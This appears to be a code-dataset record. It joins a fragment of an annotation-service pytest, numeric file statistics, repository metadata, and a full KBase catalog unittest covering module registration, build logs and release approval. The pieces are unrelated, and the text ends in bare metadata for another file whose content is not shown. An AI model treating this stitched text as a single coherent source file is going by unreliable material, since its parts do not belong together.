custom_annotation=custom, annotate_all=True ) def test_add_custom_annotation_inclusion_multi_word_food_limit( get_manual_annotation_service, mock_add_custom_annotation_inclusion, file_in_project, project_owner ): annotation_service = get_manual_annotation_service custom = { 'meta': { 'id': 'Ncbi:Fake', 'type': EntityType.GENE.value, 'allText': 'I just caught a Pikachu', # FOOD max limit is 4 word 'idType': '', 'idHyperlinks': [], 'isCaseInsensitive': True, 'includeGlobally': False } } with pytest.raises(AnnotationError): inclusions = annotation_service.add_inclusions( file=file_in_project, user=project_owner, custom_annotation=custom, annotate_all=True )

25.853503

77

0.619611

385

4,059

6.166234

0.179221

0.143218

0.080034

0.117944

0.882056

0.87321

0.858467

0.817607

0

0.00244

0.293176

4,059

156

78

26.019231

0.825026

0.01897

0

0.784615

0

0.112871

0

0.023077

1

0.038462

false

0

0.030769

0

0.069231

0

null

0

1

0

1

0

null

0

7

e222bb84a2e2ddcfb092954a4a6b326c859e5205

41,991

py

Python

test/core_registration_test.py

kbaseIncubator/registrar

0471636a02d4f001cd2180978606cedd45578ebe

[ "MIT" ]

1

2016-06-13T15:30:26.000Z

test/core_registration_test.py

kbaseIncubator/registrar

0471636a02d4f001cd2180978606cedd45578ebe

[ "MIT" ]

61

2015-11-05T22:37:56.000Z

2020-07-24T19:05:47.000Z

test/core_registration_test.py

kbaseIncubator/registrar

0471636a02d4f001cd2180978606cedd45578ebe

[ "MIT" ]

14

2015-10-30T00:11:26.000Z

2021-04-23T03:15:47.000Z

import unittest from pprint import pprint from time import time, sleep from biokbase.catalog.Impl import Catalog from biokbase.narrative_method_store.client import NarrativeMethodStore from catalog_test_util import CatalogTestUtil # tests all the basic get methods class CoreRegistrationTest(unittest.TestCase): # assumes no developers have been added yet def test_full_module_lifecycle(self): # TODO: figure out git_commit hash or branch configuration # assume test user is already approved as a developer # (1) register the test repo giturl = self.cUtil.get_test_repo_1() githash = '4ada53f318f69a38276e82d0e841e685aa0c2362' # branch simple_good_repo registration_id = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash})[0] timestamp = int(registration_id.split('_')[0]) # (2) check state until error or complete, must be complete, and make sure this was relatively fast start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: pprint(state) break self.assertTrue(time() - start < timeout, 'simple registration build exceeded timeout of ' + str(timeout) + 's') self.assertEqual(state['registration'], 'complete') # (3) check the log parsed_log = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), {'registration_id': registration_id})[0] self.assertEqual(parsed_log['registration'], 'complete') self.assertEqual(parsed_log['registration_id'], registration_id) self.assertEqual(parsed_log['git_url'], giturl) self.assertEqual(parsed_log['error_message'], '') self.assertIsNotNone(parsed_log['module_name_lc']) self.assertTrue(len(parsed_log['log']) > 0) # get the log file directly raw_log = self.catalog.get_build_log(self.cUtil.anonymous_ctx(), registration_id)[0] self.assertTrue(raw_log is not None) log_lines = raw_log.splitlines() self.assertTrue(log_lines, parsed_log['log']) # check getting specific lines parsed_log_subset = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), { 'registration_id': registration_id, 'first_n': 5 })[0] self.assertEqual(len(parsed_log_subset['log']), 5) self.assertEqual(parsed_log['log'][0], parsed_log_subset['log'][0]) self.assertEqual(parsed_log['log'][1], parsed_log_subset['log'][1]) self.assertEqual(parsed_log['log'][2], parsed_log_subset['log'][2]) self.assertEqual(parsed_log['log'][3], parsed_log_subset['log'][3]) self.assertEqual(parsed_log['log'][4], parsed_log_subset['log'][4]) parsed_log_subset = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), { 'registration_id': registration_id, 'last_n': 5 })[0] self.assertEqual(len(parsed_log_subset['log']), 5) self.assertEqual(parsed_log['log'][-1], parsed_log_subset['log'][4]) self.assertEqual(parsed_log['log'][-2], parsed_log_subset['log'][3]) self.assertEqual(parsed_log['log'][-3], parsed_log_subset['log'][2]) self.assertEqual(parsed_log['log'][-4], parsed_log_subset['log'][1]) self.assertEqual(parsed_log['log'][-5], parsed_log_subset['log'][0]) parsed_log_subset = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), { 'registration_id': registration_id, 'skip': 4, 'limit': 2 })[0] self.assertEqual(len(parsed_log_subset['log']), 2) self.assertEqual(parsed_log['log'][4], parsed_log_subset['log'][0]) self.assertEqual(parsed_log['log'][5], parsed_log_subset['log'][1]) # should show up as the top hit when we list logs recent_build_list = self.catalog.list_builds(self.cUtil.anonymous_ctx(), {'limit': 6})[0] self.assertEqual(len(recent_build_list), 6) self.assertEqual(recent_build_list[0]['registration_id'], registration_id) self.assertEqual(recent_build_list[0]['registration'], 'complete') self.assertEqual(recent_build_list[0]['error_message'], '') self.assertIsNotNone(recent_build_list[0]['module_name_lc']) self.assertEqual(recent_build_list[0]['git_url'], giturl) # check some bad parameters with self.assertRaises(ValueError) as e: parsed_log_subset = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), { 'registration_id': registration_id, 'skip': 4})[0] self.assertEqual(str(e.exception), 'Cannot specify the skip argument without a limit- blame Mongo') with self.assertRaises(ValueError) as e: parsed_log_subset = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), { 'registration_id': registration_id, 'first_n': 4, 'last_n': 2})[ 0] self.assertEqual(str(e.exception), 'Cannot combine skip/limit/first_n with last_n parameters') # (3) get module info info = self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'git_url': giturl})[0] module_name = info['module_name'] owners = [self.cUtil.user_ctx()['user_id']] self.assertIsNone(info['beta']) self.assertIsNone(info['release']) self.validate_basic_test_module_info_fields(info, giturl, module_name, owners) self.assertEqual(info['dev']['git_commit_hash'], githash) self.assertEqual(info['dev']['git_commit_message'], 'added some basic things') self.assertEqual(info['dev']['narrative_methods'], ['test_method_1']) self.assertEqual(info['dev']['version'], '0.0.1') self.assertEqual(info['dev']['timestamp'], timestamp) self.assertEqual(info['dev']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) # the method should appear in the NMS under the dev tag method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS') # but should not appear under beta or release method_list = self.nms.list_methods({'tag': 'beta'}) methMissing = True for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: methMissing = False self.assertTrue(methMissing, 'Make sure we did not find the method in NMS under the beta tag') # but should not appear under beta or release method_list = self.nms.list_methods({'tag': 'release'}) methMissing = True for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: methMissing = False self.assertTrue(methMissing, 'Make sure we did not find the method in NMS under the release tag') # (3b) registration again should work registration_id = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash})[0] timestamp = int(registration_id.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: pprint(state) break self.assertTrue(time() - start < timeout, 'simple registration build exceeded timeout of ' + str(timeout) + 's') self.assertEqual(state['registration'], 'complete') # (4) update beta self.catalog.push_dev_to_beta(self.cUtil.user_ctx(), {'module_name': module_name}) info = \ self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.assertIsNone(info['release']) self.validate_basic_test_module_info_fields(info, giturl, module_name, owners) self.assertEqual(info['dev']['git_commit_hash'], githash) self.assertEqual(info['dev']['git_commit_message'], 'added some basic things') self.assertEqual(info['dev']['narrative_methods'], ['test_method_1']) self.assertEqual(info['dev']['version'], '0.0.1') self.assertEqual(info['dev']['timestamp'], timestamp) self.assertEqual(info['beta']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) self.assertEqual(info['beta']['git_commit_hash'], githash) self.assertEqual(info['beta']['git_commit_message'], 'added some basic things') self.assertEqual(info['beta']['narrative_methods'], ['test_method_1']) self.assertEqual(info['beta']['version'], '0.0.1') self.assertEqual(info['beta']['timestamp'], timestamp) # the method should appear in the NMS under the dev or beta tag method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS') # but should not appear under beta or release method_list = self.nms.list_methods({'tag': 'beta'}) foundMeth = False for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS under the beta tag') # but should not appear under beta or release method_list = self.nms.list_methods({'tag': 'release'}) methMissing = True for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: methMissing = False self.assertTrue(methMissing, 'Make sure we did not find the method in NMS under the release tag') # (5) request release self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) # (6) list requested releases, admin rejects release releases = self.catalog.list_requested_releases(self.cUtil.anonymous_ctx())[0] found = False for r in releases: if r['git_commit_hash'] == githash: found = True self.assertEqual(r['module_name'], module_name) self.assertEqual(r['timestamp'], timestamp) self.assertEqual(r['owners'], [self.cUtil.user_ctx()['user_id']]) self.assertTrue(found, 'found new release request in list of release requests') self.catalog.review_release_request(self.cUtil.admin_ctx(), {'module_name': module_name, 'decision': 'denied', 'review_message': 'ask later'}) releases = self.catalog.list_requested_releases(self.cUtil.anonymous_ctx())[0] found = False for r in releases: if r['git_commit_hash'] == githash: found = True self.assertFalse(found, 'found new release request that should have been removed') state = \ self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.assertEqual(state['released'], 0) self.assertEqual(state['registration'], 'complete') self.assertEqual(state['release_approval'], 'denied') self.assertEqual(state['review_message'], 'ask later') # (7) ask again, this time admin accepts self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) releases = self.catalog.list_requested_releases(self.cUtil.anonymous_ctx())[0] found = False for r in releases: if r['git_commit_hash'] == githash: found = True self.assertEqual(r['module_name'], module_name) self.assertEqual(r['timestamp'], timestamp) self.assertEqual(r['owners'], [self.cUtil.user_ctx()['user_id']]) self.assertTrue(found, 'found new release request in list of release requests') self.catalog.review_release_request(self.cUtil.admin_ctx(), {'module_name': module_name, 'decision': 'approved'}) releases = self.catalog.list_requested_releases(self.cUtil.anonymous_ctx())[0] found = False for r in releases: if r['git_commit_hash'] == githash: found = True self.assertFalse(found, 'found new release request that should have been removed') state = \ self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.assertEqual(state['released'], 1) self.assertEqual(state['registration'], 'complete') self.assertEqual(state['release_approval'], 'approved') self.assertEqual(state['review_message'], '') # (8) release appears in release, and in release versions info = \ self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.validate_basic_test_module_info_fields(info, giturl, module_name, owners) self.assertEqual(info['dev']['git_commit_hash'], githash) self.assertEqual(info['dev']['git_commit_message'], 'added some basic things') self.assertEqual(info['dev']['narrative_methods'], ['test_method_1']) self.assertEqual(info['dev']['version'], '0.0.1') self.assertEqual(info['dev']['timestamp'], timestamp) self.assertEqual(info['dev']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) self.assertEqual(info['beta']['git_commit_hash'], githash) self.assertEqual(info['beta']['git_commit_message'], 'added some basic things') self.assertEqual(info['beta']['narrative_methods'], ['test_method_1']) self.assertEqual(info['beta']['version'], '0.0.1') self.assertEqual(info['beta']['timestamp'], timestamp) self.assertEqual(info['beta']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) self.assertEqual(info['release']['git_commit_hash'], githash) self.assertEqual(info['release']['git_commit_message'], 'added some basic things') self.assertEqual(info['release']['narrative_methods'], ['test_method_1']) self.assertEqual(info['release']['version'], '0.0.1') self.assertEqual(info['release']['timestamp'], timestamp) self.assertTrue(info['release']['release_timestamp'] > info['release']['timestamp']) self.assertEqual(info['release']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) versions = self.catalog.list_released_module_versions(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.assertEqual(len(versions), 1) self.assertEqual(versions[0]['git_commit_hash'], githash) self.assertEqual(versions[0]['git_commit_message'], 'added some basic things') self.assertEqual(versions[0]['narrative_methods'], ['test_method_1']) self.assertEqual(versions[0]['version'], '0.0.1') self.assertEqual(versions[0]['timestamp'], timestamp) self.assertEqual(versions[0]['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) # the method should appear in the NMS under the dev/beta/release method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS') # but should not appear under beta or release method_list = self.nms.list_methods({'tag': 'beta'}) foundMeth = False for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS under the beta tag') # but should not appear under beta or release method_list = self.nms.list_methods({'tag': 'release'}) foundMeth = False for meth in method_list: if meth['id'] == module_name + '/test_method_1' and meth['namespace'] == module_name: foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS under the release tag') # (9) register again, dev is updated, beta and release are not githash2 = '599d796c6b7c30a47b3a8a496346d8f49c29a064' # branch simple_good_repo registration_id2 = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash2})[0] timestamp2 = int(registration_id2.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build 2 exceeded timeout of ' + str( timeout) + 's') self.assertEqual(state['registration'], 'complete') log = self.catalog.get_build_log(self.cUtil.anonymous_ctx(), registration_id2) self.assertTrue(log is not None) info = \ self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.validate_basic_test_module_info_fields(info, giturl, module_name, owners) self.assertEqual(info['dev']['git_commit_hash'], githash2) self.assertEqual(info['dev']['git_commit_message'], 'added new method') self.assertEqual(sorted(info['dev']['narrative_methods']), sorted(['test_method_1', 'test_method_2'])) self.assertEqual(info['dev']['version'], '0.0.2') self.assertEqual(info['dev']['timestamp'], timestamp2) self.assertEqual(info['dev']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash2) self.assertEqual(info['beta']['git_commit_hash'], githash) self.assertEqual(info['beta']['git_commit_message'], 'added some basic things') self.assertEqual(info['beta']['narrative_methods'], ['test_method_1']) self.assertEqual(info['beta']['version'], '0.0.1') self.assertEqual(info['beta']['timestamp'], timestamp) self.assertEqual(info['beta']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) self.assertEqual(info['release']['git_commit_hash'], githash) self.assertEqual(info['release']['git_commit_message'], 'added some basic things') self.assertEqual(info['release']['narrative_methods'], ['test_method_1']) self.assertEqual(info['release']['version'], '0.0.1') self.assertEqual(info['release']['timestamp'], timestamp) self.assertEqual(info['release']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash) # assert fail on request release because you can't update release version if they are the same with self.assertRaises(ValueError) as e: self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) self.assertEqual(str(e.exception), 'Cannot request release - beta version is identical to released version.') # 10) migrate dev to beta again, release it. Should work. self.catalog.push_dev_to_beta(self.cUtil.user_ctx(), {'module_name': module_name}) self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) self.catalog.review_release_request(self.cUtil.admin_ctx(), {'module_name': module_name, 'decision': 'approved'}) info = \ self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.assertEqual(info['release']['git_commit_hash'], githash2) self.assertEqual(info['release']['git_commit_message'], 'added new method') self.assertEqual(sorted(info['release']['narrative_methods']), sorted(['test_method_1', 'test_method_2'])) self.assertEqual(info['release']['version'], '0.0.2') self.assertEqual(info['release']['timestamp'], timestamp2) self.assertTrue(info['release']['release_timestamp'] > timestamp2) self.assertEqual(info['release']['docker_img_name'].split('/')[1], 'kbase:' + module_name.lower() + '.' + githash2) # 11) register new version, but with bad version number. Should fail. Needs to be a semantic version githash3 = '9908c20cd5d275190490d7b852f22e5da73f9260' # branch simple_good_repo registration_id3 = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash3})[0] timestamp3 = int(registration_id3.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build 3 exceeded timeout of ' + str( timeout) + 's') self.assertEqual(state['registration'], 'error') sleep(3) # sleep to make sure the catalog db gets the final log messages log = self.catalog.get_parsed_build_log(self.cUtil.anonymous_ctx(), {'registration_id': registration_id3}) self.assertTrue(log is not None) found_correct_error = False for l in log: if 'must be in semantic version format' in l['error_message']: found_correct_error = True self.assertTrue(found_correct_error, 'correct error was thrown in log for semantic version error') # Register new version, but with same version number as in the release so should fail githash4 = '6add31077a4982d6c8a5bc161915d30bfec3fe0c' # branch simple_good_repo registration_id4 = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash4})[0] timestamp4 = int(registration_id4.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build 4 exceeded timeout of ' + str( timeout) + 's') self.assertEqual(state['registration'], 'complete') log = self.catalog.get_build_log(self.cUtil.anonymous_ctx(), registration_id4) self.assertTrue(log is not None) self.catalog.push_dev_to_beta(self.cUtil.user_ctx(), {'module_name': module_name}) with self.assertRaises(ValueError) as e: self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) self.assertEqual(str(e.exception), 'Cannot request release - beta version has same version number to ' 'released version.') # Try once again but with a version number that is less than the current release version githash5 = '7627fa25e75515316407577e5578c2cb120ca40f' # branch simple_good_repo registration_id5 = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash5})[0] timestamp5 = int(registration_id5.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build 5 exceeded timeout of ' + str( timeout) + 's') self.assertEqual(state['registration'], 'complete') log = self.catalog.get_build_log(self.cUtil.anonymous_ctx(), registration_id5) self.assertTrue(log is not None) self.catalog.push_dev_to_beta(self.cUtil.user_ctx(), {'module_name': module_name}) with self.assertRaises(ValueError) as e: self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) self.assertEqual(str(e.exception), 'Cannot request release - beta semantic version (0.0.1) must be greater ' 'than the released semantic version 0.0.2, as determined by http://semver.org') # Register with a proper version number and indicate it is a dynamic service now githash6 = '026fd0421a03f12c78fb5dbffbbaa04a254fcbe7' # branch simple_good_repo registration_id6 = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash6})[0] timestamp6 = int(registration_id6.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build 5 exceeded timeout of ' + str( timeout) + 's') self.assertEqual(state['registration'], 'complete') log = self.catalog.get_build_log(self.cUtil.anonymous_ctx(), registration_id6) self.assertTrue(log is not None) self.catalog.push_dev_to_beta(self.cUtil.user_ctx(), {'module_name': module_name}) info = \ self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.catalog.request_release(self.cUtil.user_ctx(), {'module_name': info['module_name']}) self.catalog.review_release_request(self.cUtil.admin_ctx(), {'module_name': module_name, 'decision': 'approved'}) info = \ self.catalog.get_module_info(self.cUtil.anonymous_ctx(), {'module_name': module_name})[0] self.assertEqual(info['release']['git_commit_hash'], githash6) self.assertEqual(info['release']['version'], '1.0.1') self.assertEqual(info['release']['timestamp'], timestamp6) self.assertTrue(info['release']['release_timestamp'] > timestamp6) self.assertTrue('dynamic_service' in info['release']) self.assertTrue(info['release']['dynamic_service']) # TODO test method store to be sure we can get old method specs by commit hash # pprint(info) def validate_basic_test_module_info_fields(self, info, giturl, module_name, owners): self.assertEqual(info['git_url'], giturl) self.assertEqual(info['module_name'], module_name) self.assertEqual(info['owners'], owners) self.assertEqual(info['language'], 'python') self.assertEqual(info['description'], 'A test module') def test_module_with_bad_spec(self): # (1) register the test repo giturl = self.cUtil.get_test_repo_1() githash = 'ca3d7ae05af24cd1c5d21ec9e0e4c52c52695300' # branch fail_method_spec_1 registration_id = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash})[0] # (2) check state until error or complete, must be error, and make sure this was relatively fast start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build exceeded timeout of ' + str(timeout) + 's') self.assertEqual(state['registration'], 'error') self.assertTrue( 'Invalid narrative method specification (test_method_2)' in state['error_message']) log = self.catalog.get_build_log(self.cUtil.anonymous_ctx(), registration_id)[0] self.assertTrue(log is not None) self.assertTrue('param0_that_is_not_defined_in_yaml' in log) def test_active_inactive_remove_module(self): # we cannot delete modules unles we are an admin user with self.assertRaises(ValueError) as e: self.catalog.delete_module(self.cUtil.user_ctx(), {'module_name': 'registration_error'}) self.assertEqual(str(e.exception), 'Only Admin users can delete modules.') method_list = self.nms.list_methods({'tag': 'dev'}) # this should work: register a repo, make sure it appears giturl = self.cUtil.get_test_repo_2() githash = 'a2b66a4668548bbabc54ee937ac91f9237874a96' # branch simple_good_repo2 registration_id = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash})[0] timestamp = int(registration_id.split('_')[0]) start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[ 0] if state['registration'] in ['complete', 'error']: break self.assertTrue(time() - start < timeout, 'simple registration build exceeded timeout of ' + str(timeout) + 's') self.assertEqual(state['registration'], 'complete') self.assertEqual(self.catalog.is_registered({}, {'module_name': 'CatalogTestModule2'})[0], 1) method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == 'CatalogTestModule2/test_method_1' and \ meth['namespace'] == 'CatalogTestModule2': foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS') # next make sure we get an error if we are not an admin if we try to make the repo active or inactive params = {'git_url': giturl} with self.assertRaises(ValueError) as e: self.catalog.set_to_active(self.cUtil.user_ctx(), params) self.assertEqual(str(e.exception), 'Only Admin users can set a module to be active/inactive.') with self.assertRaises(ValueError) as e: self.catalog.set_to_inactive(self.cUtil.user_ctx(), params) self.assertEqual(str(e.exception), 'Only Admin users can set a module to be active/inactive.') # module should start as active, but it should be fine to set it again state = self.catalog.get_module_state(self.cUtil.admin_ctx(), params)[0] self.assertEqual(state['active'], 1) self.catalog.set_to_active(self.cUtil.admin_ctx(), params) state = self.catalog.get_module_state(self.cUtil.admin_ctx(), params)[0] self.assertEqual(state['active'], 1) method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == 'CatalogTestModule2/test_method_1' and meth[ 'namespace'] == 'CatalogTestModule2': foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS') # make it inactive (calling twice should be ok and shouldn't change anything) self.catalog.set_to_inactive(self.cUtil.admin_ctx(), params) state = self.catalog.get_module_state(self.cUtil.user_ctx(), params)[0] self.assertEqual(state['active'], 0) method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == 'CatalogTestModule2/test_method_1' and meth[ 'namespace'] == 'CatalogTestModule2': foundMeth = True self.assertFalse(foundMeth, 'Make sure we did not find the method in NMS') self.catalog.set_to_inactive(self.cUtil.admin_ctx(), params) state = self.catalog.get_module_state(self.cUtil.user_ctx(), params)[0] self.assertEqual(state['active'], 0) method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == 'CatalogTestModule2/test_method_1' and meth[ 'namespace'] == 'CatalogTestModule2': foundMeth = True self.assertFalse(foundMeth, 'Make sure we did not find the method in NMS again') # these still shouldn't work with self.assertRaises(ValueError) as e: self.catalog.set_to_active(self.cUtil.user_ctx(), params) self.assertEqual(str(e.exception), 'Only Admin users can set a module to be active/inactive.') with self.assertRaises(ValueError) as e: self.catalog.set_to_inactive(self.cUtil.user_ctx(), params) self.assertEqual(str(e.exception), 'Only Admin users can set a module to be active/inactive.') # make it active one more time and make sure the method specs reappear self.catalog.set_to_active(self.cUtil.admin_ctx(), params) state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), params)[0] self.assertEqual(state['active'], 1) method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == 'CatalogTestModule2/test_method_1' and meth[ 'namespace'] == 'CatalogTestModule2': foundMeth = True self.assertTrue(foundMeth, 'Make sure we found the method in NMS after reactivation') # delete it. self.catalog.delete_module(self.cUtil.admin_ctx(), {'module_name': 'CatalogTestModule2'}) # make sure it is gone self.assertEqual(self.catalog.is_registered({}, {'module_name': 'CatalogTestModule2'})[0], 0) method_list = self.nms.list_methods({'tag': 'dev'}) foundMeth = False for meth in method_list: if meth['id'] == 'CatalogTestModule2/test_method_1' and meth[ 'namespace'] == 'CatalogTestModule2': foundMeth = True self.assertFalse(foundMeth, 'Make sure we did not find the method in NMS') # we cannot remove modules that have been released self.assertEqual(self.catalog.is_registered({}, {'module_name': 'onerepotest'})[0], 1) with self.assertRaises(ValueError) as e: self.catalog.delete_module(self.cUtil.admin_ctx(), {'module_name': 'onerepotest'}) self.assertEqual(self.catalog.is_registered({}, {'module_name': 'onerepotest'})[0], 1) self.assertEqual(str(e.exception), 'Cannot delete module that has been released. Make it inactive instead.') self.assertEqual(self.catalog.is_registered({}, { 'git_url': 'https://github.com/kbaseIncubator/release_history'})[0], 1) with self.assertRaises(ValueError) as e: self.catalog.delete_module(self.cUtil.admin_ctx(), { 'git_url': 'https://github.com/kbaseIncubator/release_history'}) self.assertEqual(self.catalog.is_registered({}, { 'git_url': 'https://github.com/kbaseIncubator/release_history'})[0], 1) self.assertEqual(str(e.exception), 'Cannot delete module that has been released. Make it inactive instead.') def test_extra_files(self): # (1) register the test repo giturl = self.cUtil.get_test_repo_1() githash = 'd384fab' # branch simple_good_repo registration_id = self.catalog.register_repo(self.cUtil.user_ctx(), {'git_url': giturl, 'git_commit_hash': githash})[ 0] timestamp = int(registration_id.split('_')[0]) # (2) check state until error or complete, must be complete, and make sure this was relatively fast start = time() timeout = 60 # seconds while True: state = self.catalog.get_module_state(self.cUtil.anonymous_ctx(), {'git_url': giturl})[0] if state['registration'] in ['complete', 'error']: pprint(state) break self.assertTrue(time() - start < timeout, 'simple registration build exceeded timeout of ' + str( timeout) + 's') self.assertEqual(state['registration'], 'complete') @classmethod def setUpClass(cls): print('++++++++++++ RUNNING core_registration_test.py +++++++++++') # hack for testing!! remove when docker and NMS components can be tested from biokbase.catalog.registrar import Registrar Registrar._TEST_WITHOUT_DOCKER = True cls.cUtil = CatalogTestUtil('.') # TODO: pass in test directory from outside cls.cUtil.setUp() cls.catalog = Catalog(cls.cUtil.getCatalogConfig()) # approve developers we will use cls.catalog.approve_developer(cls.cUtil.admin_ctx(), cls.cUtil.admin_ctx()['user_id']) cls.catalog.approve_developer(cls.cUtil.admin_ctx(), cls.cUtil.user_ctx()['user_id']) cls.nms = NarrativeMethodStore(cls.cUtil.getCatalogConfig()['nms-url']) @classmethod def tearDownClass(cls): cls.cUtil.tearDown()

55.76494

110

0.584316

4,650

41,991

5.095914

0.076344

0.091788

0.052119

0.034563

0.820771

0.796843

0.775912

0.761774

0.750971

0.746919

0

0.017648

0.295587

41,991

752

111

55.839096

0.783461

0.073087

0

0.706539

0

0.199393

0.014698

0

0.00133

0.331738

1

0.011164

false

0

0.011164

0

0.023923

0.007974

0

null

0

1

0

1

0

null

0

7

e223d4caa78e88a2657fbc8167c9a31a86f34e7a

15,369

py

Python

telestream_cloud_qc_sdk/telestream_cloud_qc/models/__init__.py

pandastream/telestream-cloud-python-sdk

ce0ad503299661a0f622661359367173c06889fc

[ "MIT" ]

null

telestream_cloud_qc_sdk/telestream_cloud_qc/models/__init__.py

pandastream/telestream-cloud-python-sdk

ce0ad503299661a0f622661359367173c06889fc

[ "MIT" ]

2

2016-07-06T14:13:31.000Z

2018-03-07T12:54:58.000Z

telestream_cloud_qc_sdk/telestream_cloud_qc/models/__init__.py

Telestream/telestream-cloud-python-sdk

ce0ad503299661a0f622661359367173c06889fc

[ "MIT" ]

null

